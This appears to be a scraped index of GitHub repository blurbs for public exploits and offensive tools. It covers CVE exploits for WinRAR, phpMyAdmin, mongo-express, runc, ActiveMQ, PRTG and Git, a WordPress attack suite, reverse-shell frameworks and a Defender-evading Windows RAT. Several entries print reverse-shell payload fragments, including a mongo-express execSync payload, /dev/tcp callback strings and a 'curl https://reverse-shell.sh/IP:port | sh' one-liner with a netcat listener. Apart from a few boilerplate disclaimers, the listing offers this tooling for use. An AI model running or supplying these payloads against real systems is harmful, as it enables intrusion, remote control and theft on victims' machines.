CVE-2023-38831-winrar-expoit-simple-Poc

CVE-2023-38831-winrar-expoit-simple-Poc Very important I hope you see this link first https://github.com/b1tg/CVE-2023-38831-winrar-exploit I did not write the full exploit. He wrote the exploit. https://github.com/b1tg All he did was modify something simple to get a Reverse Shell through the...

CVE-2018-12613

CVE-2018-12613 修改后的独立利用脚本，已移植到 Python 3。测试环境：Python 3.7.3，phpMyAdmin 4.8.1 运行于 Ubuntu 16.04。 仅适用于 Linux。原始利用脚本来自 SSD。所有荣誉归功于他们。 修改内容 1. 添加了函数，用于在提供的 phpMyAdmin 用户名/密码正确时退出 2. 添加了函数，用于检查版本是否存在漏洞（4.8.0 或 4.8.1） 3. 将变量严格转换为字节或字符串；Python 3 不允许混合使用。详见此处。 用法： python3 CVE-2018-12613.py -u phpMyAdmin -p...

CVE-2019-10758

CVE-2019-10758 mongo-express remote code execution, reverse shell code as follows: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2: document=this.constructor.constructor"return...

CVE-2024-21626

CVE-2024-21626 POC Requirements runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tc...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 I created simple react2shell CVE-2025-55182 python exploit USAGE 1. Save the script: Save the code above as exploit.py. 2. Update Hosts: Ensure reactor.htb resolves to the target IP in your /etc/hosts file. echo " reactor.htb" | sudo tee -a /etc/hosts 3. Start...

WPForce

WPForce - Wordpress Attack Suite ABOUT: WPForce is a suite of Wordpress Attack tools. Currently this contains 2 scripts - WPForce, which brute forces logins via the API, and Yertle, which uploads shells once admin credentials have been found. Yertle also contains a number of post exploitation...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x Unauthorized RCE Batch Detection Script This vulnerability is quite trivial; out of 200+ random targets, only 5 had it. Now handle it yourself—you already have PHP, how can you not get a reverse shell?...

PwnLnX

PwnLnX An advanced multi-threaded , multi-client python reverse shell for hacking linux systems. There's still more work to do so feel free to help out with the development. Disclaimer : This reverse shell should only be used in the lawful, remote administration of authorized systems. Accessing a...

CVE-2022-24834

Improvement of CVE-2022-24834 public exploit Author Conviso Research Team Description The team at Ricerca Security @RicercaSec discovered and successfully exploited a interesting vulnerability CVE-2022-24834 in the Lua interpreter included with Redis. This vulnerability is a heap overflow in the...

CVE-2017-7269

EN GenWebDavIISExploit is a PoC tool demonstrating an exploit for a known vulnerability in the WebDAV component of IIS6. This tool is designed for educational and research purposes to showcase how the vulnerability can be leveraged to execute arbitrary code on a remote server. Disclaimer This...

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ 此漏洞利用建立在 https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE 的基础工作上。我们进一步开发了该技术，利用 Metasploit 框架 https://github.com/rapid7/metasploit-framework 实现了反弹 Shell。 用法： 重要提示：请手动将 XML 文件中的 IP 地址（第 11 行的 0.0.0.0）更改为生成 payload 时的 IP 地址。如果按照以下命令操作...

Windows-X64-RAT

Windows x64 Remote Access Trojan RAT Objective Develop a Windows x64 RAT using CVE-2023-38831 WinRAR 6.23 and Shellcode exploitation to bypass Windows Defender. System Description 1. Shellcode Initialization Generate shellcode using Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode. 2...

CVE-2018-9276

CVE-2018-9276 PRTG 18.2.39 Authenticated Command Injection Reverse Shell https://nvd.nist.gov/vuln/detail/CVE-2018-9276 Improved version of an exploit written by https://github.com/M4LV0. I used the POST data from their script but just made it more reliable as I didnt have much success with it...

CVE-2023-38831_ReverseShell_Winrar-RCE

OBTAINING A REVERSE SHELL BY EXPLOITING THE WINRAR VULNERABILITY CVE-2023-38831 In this repository we are going to exploit the WinRAR vulnerability CVE-2023-38831 in order to obtain a reverse shell from the victim Windows machine to the attacker Kali Linux machine. PRELIMINARY STEPS Download the...

reverse-shell

reverse-shell 反向Shell即服务 - https://reverse-shell.sh 一个易于记忆的反向Shell，适用于大多数类Unix系统。 它会检测目标上可用的软件，并运行合适的有效载荷。 用法 1. 监听连接 在你的机器上打开一个端口并监听。你可以使用netcat轻松完成。 nc -l 1337 2. 在目标上执行反向Shell 在目标机器上，将 https://reverse-shell.sh/你IP:端口 的输出通过管道传给sh。 curl https://reverse-shell.sh/192.168.0.69:1337 | sh...

CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP can successfully get a reverse shell This article and tool are for technical sharing only. Strictly prohibited for illegal use. Any consequences arising from misuse shall be borne by the user. Trigger Command Execution EXP 1. Start RMI listener on VPS port 9999...

pwncat

pwncat pwncat 是一个后期利用平台 原本针对 Linux 目标 。它最初是基本绑定和反弹 shell 的包装器，并从此发展壮大。它简化了常见的红队操作，同时从攻击者机器（而非目标）部署代码。 pwncat 以前只支持 Linux，但最近做了大量工作以支持多个平台。目前，对 Windows 目标提供 alpha 支持。有关如何在 Windows 目标上使用 pwncat 的详细信息，请参阅最新的文档。 pwncat 拦截与远程 shell 的原始通信，允许用户在远程主机上执行自动化操作，包括枚举、植入安装甚至权限提升。 收到连接后，pwncat 将设置一些用于与远程 shell...

CVE-2016-10033

CVE2016-10033 explotation PoC This repository holds the necessary files to exploit CVE2016-10033 on a vulnerable version of WordPress. With these instructions you will be able to get a reverse interactive shell not Pseudo-TTY in the container that is running the WordPress as the user that is...

CVE-2024-32002-Reverse-Shell

CVE-2024-32002-Reverse-Shell This script demonstrates how to exploit CVE-2024-32002 to obtain a reverse shell, providing remote access to the affected system. Use it with caution in controlled environments and only for educational or security testing purposes. Blog Post This script is inspired by...